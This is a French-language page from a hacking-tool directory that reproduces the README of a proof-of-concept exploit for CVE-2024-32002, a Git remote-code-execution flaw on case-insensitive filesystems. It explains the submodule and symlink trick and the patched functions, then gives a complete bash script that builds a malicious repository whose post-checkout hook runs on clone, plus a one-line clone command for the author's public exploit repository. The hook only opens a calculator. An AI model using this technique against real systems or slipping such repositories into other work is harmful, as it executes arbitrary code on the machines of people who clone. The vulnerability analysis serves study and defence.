Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
git_rce — CVE-2024-32002 POC | Kitploit
Outils/GitHubGitHub/roronoawjd/git_rce
Analyse des VulnérabilitésExploitationArticles et RechercheApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubroronoawjd/git_rce

git_rce

CVE-2024-32002 POC

Voir le dépôt
il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Attaque par exécution de code à distance via git clone (CVE-2024-32002)

Contributeur

  • Jeongwoo Lee@Roronoawjd

Contexte

Cette vulnérabilité est une vulnérabilité RCE (Remote Code Execution) qui se produit lors du clonage d'un dépôt git contenant des sous-modules sur des systèmes de fichiers insensibles à la casse comme Windows et macOS. RCE est une vulnérabilité d'exécution de code à distance qui permet à un attaquant d'exécuter des commandes arbitraires sur le système cible, ce qui est très critique. A/modules/x et a/modules/x sont traités comme le même chemin. Cette caractéristique, combinée à l'utilisation de liens symboliques, provoque la vulnérabilité.

Informations sur la vulnérabilité

  • Ce POC ne fonctionne que sur les systèmes Windows et MAC.
  • L'attaque ne fonctionne pas si git config --global core.symlinks false est défini.

Analyse de la vulnérabilité

Voir le correctif de la vulnérabilité

builtin/submodule--helper.c

Fonction dir_contains_only_dotgit : vérifie si le répertoire contient uniquement le fichier .git ou d'autres répertoires, et renvoie une erreur s'il y a d'autres fichiers ou répertoires. Fonction clone_submodule : vérifie si le répertoire du sous-module existe et est vide avant de le cloner.

t/t7406-submodule-update.sh

1. Configuration globale

root@kitploit:~
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
  • Ce script définit les options de configuration de Git. Active le protocole fichier de Git via protocol.file.allow always.
  • Définit core.symlinks true pour autoriser l'utilisation de liens symboliques.
  • tell_tale_path est utilisé pour vérifier que la RCE s'est bien exécutée.

2. Configuration du hook

root@kitploit:~
git init hook &&
(
  cd hook &&
  mkdir -p y/hooks &&
  write_script y/hooks/post-checkout <<-EOF &&
  echo HOOK-RUN >&2
  echo hook-run >"$tell_tale_path"
  EOF
  git add y/hooks/post-checkout &&
  test_tick &&
  git commit -m post-checkout
) &&
  • Initialise le dépôt hook.
  • Crée un hook nommé post-checkout.
  • Commite le script du hook dans le dépôt.

3. Configuration du dépôt principal

root@kitploit:~
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
  cd captain &&
  git submodule add --name x/y "$hook_repo_path" A/modules/x &&
  test_tick &&
  git commit -m add-submodule &&
  printf .git >dotgit.txt &&
  git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
  printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
  git update-index --index-info <index.info &&
  test_tick &&
  git commit -m add-symlink
) &&
  • Enregistre le chemin du hook.
  • Initialise un autre dépôt nommé captain.
  • Ajoute le dépôt hook en tant que sous-module dans A/modules/x et le commite.
  • Crée un lien symbolique a pointant vers .git.

4. Test

root@kitploit:~
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
  • Vérifie si la RCE a fonctionné.

Fabrication du POC

root@kitploit:~
#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

Git possède un mécanisme appelé hook qui permet d'exécuter automatiquement des scripts lors de certains événements. Ces hooks se trouvent dans le répertoire .git/hooks. post-checkout est un script exécuté après un checkout.

image

Le déroulement est le suivant :

  1. Lors du clone du dépôt git_rce, un lien symbolique a pointant vers .git est créé.
  2. Lors du git clone, le chemin du sous-module est reconnu comme a/modules/x au lieu de A/modules/x.
  3. Comme a pointe vers .git, un répertoire /modules/x est créé dans .git, et y/hooks/post-checkout y est généré.
  4. Après le checkout réussi, git_rce/.git/modules/x/y/hooks/post-checkout est automatiquement exécuté, provoquant la RCE.

POC (Proof of Concept)

⚠️Avertissement : n'utilisez pas cette vulnérabilité de manière malveillante !

root@kitploit:~
git clone --recursive https://github.com/Roronoawjd/git_rce.git

Remarque : sur Windows, vous devez exécuter la commande dans un terminal cmd ou bash avec les droits d'administrateur.

Télécharger l’outil